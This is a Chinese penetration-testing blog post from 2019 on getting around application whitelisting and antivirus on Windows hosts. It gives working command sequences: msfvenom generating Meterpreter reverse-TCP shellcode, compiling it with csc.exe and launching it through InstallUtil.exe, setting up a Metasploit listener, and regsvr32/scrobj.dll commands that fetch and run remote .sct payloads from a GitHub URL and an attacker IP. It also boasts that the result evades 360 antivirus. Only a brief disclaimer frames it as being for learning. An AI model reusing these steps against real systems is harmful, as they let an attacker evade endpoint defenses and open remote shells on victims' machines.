绕过应用程序白名单技巧

红蓝对抗 2019-11-10

在内网渗透中,经常会在内网主机执行执行的渗透工具的时候出现执行不起来的情况,很多时候是由与安全软件做了白名单限制,只允许指定的白名单中的应用程序启动,这时我们就需要利用白名单中的程序做我们想做的事情,执行我们想要执行的程序,下面就给大家分享几个绕过白名单执行应用程序的姿势。

一、通过 csharp 编译文件绕过防病毒软件

1、下载 CSharp 文件

wget http://tinyurl.com/InstallUtil-ShellCode-cs

img

2、使用 msfvenom 生成一个 msf 的 csharp 格式的 shellcode:

msfvenom-p windows / meterpreter / reverse_tcp lhost = YOUR_IP lport = 443 -fcsharp> shellcode.txt

img

3、在 InstallUtil-ShellCode.cs 文件中,您将注意到代码中有两个功能

先从 main 函数的执行命令行中写入显示提示信息,当使用 InstallUtil.exe 工具运行程序时,将执行名为 Uninstall 函数(橙色框中的代码)的中代码的功能。

installUtil.exe 通常位于受信任的应用程序列表中,可能会绕过某些应用程序白名单软件。

Uninstall 函数中的代码将调用 Shellcode 函数,这是我们的嵌套恶意绕过防病毒的 shellcode 代码。

img

4、下面是需要替换的 shellcode 代码位置

img

5、在 geeeratewith metasploit 下面将 msf 生成的 shllcode.txt 的代码复制替换

img

6、需要修改其中的代码,将 buf 变量修改成 shellcode 并保存文件

img

7、使用 csc.exe 工具编译修改后的 InstallUtil-ShellCode-cs 文件

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs

img

8、在 msf 下生成监听 shell:

use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.86 set LPORT 444 set ExitOnSession false run -j

img

9、在目标受害者机器上通过 InstallUtil.exe 工具执行我们编译的后门文件 exeshell.exe

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe/logfile= /LogToConsole=false /U exeshell.exe

img

10、在 kali 下可以看到成功获得目标主机的 shell:

img

此时通过 360 进行查杀未发现有病毒:

img

二、通过 sct 远程执行绕过防病毒

1、远程执行的 sct ( payload.sct ) 文件代码如下:

img

2、在目标受害者机器上远程执行:

这里前提需要将 pentestab.exe 文件上传到目标主机 C 盘下或者其他位置,其他位置需要更改 payload.sct 代码:

regsvr32/u /n /s /i: https://raw.githubusercontent.com/backlion/demo/master/payload.sct scrobj.dll

img

也可以本地执行:

regsvr32/u /n /s /i:payload.sct scrobj.dll

img

3、由于 pentestlab3 是 Metasploit 的有效载荷,所以 Meterpreter 会话将被打开:

img

三、msf 下生成模块生成 sct 绕过防病毒

1、在 msf 上生成 sct 监听反弹 shell

msf>useexploit/windows/misc/regsvr32_applocker_bypass_server msf>show options msf>setlhost 10.0.0.86 msf>set lport 6666

img

img

2、在目标受害者主机上执行以下命令:

regsvr32/s /n /u /i:http://10.0.0.86:8080/q0Nqdxa4iKkeNXB.sct scrobj.dll

img

3、在 msf 即可看到反弹 shell:

img

总结

这里的几种方式都是用来应对防病毒软件采用软件白名单的方式拒绝恶意软件的执行,通过一些默认放行的白名单系统应用程序启动我们构造好的恶意程序或者 payload 来绕过防病毒软件的白名单限制,这里只讨论技术的学习,请不要用来做违法的事情,欢迎大家投稿一起分享在渗透测试中应用的各种姿势,各种技术的安全原理等。


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论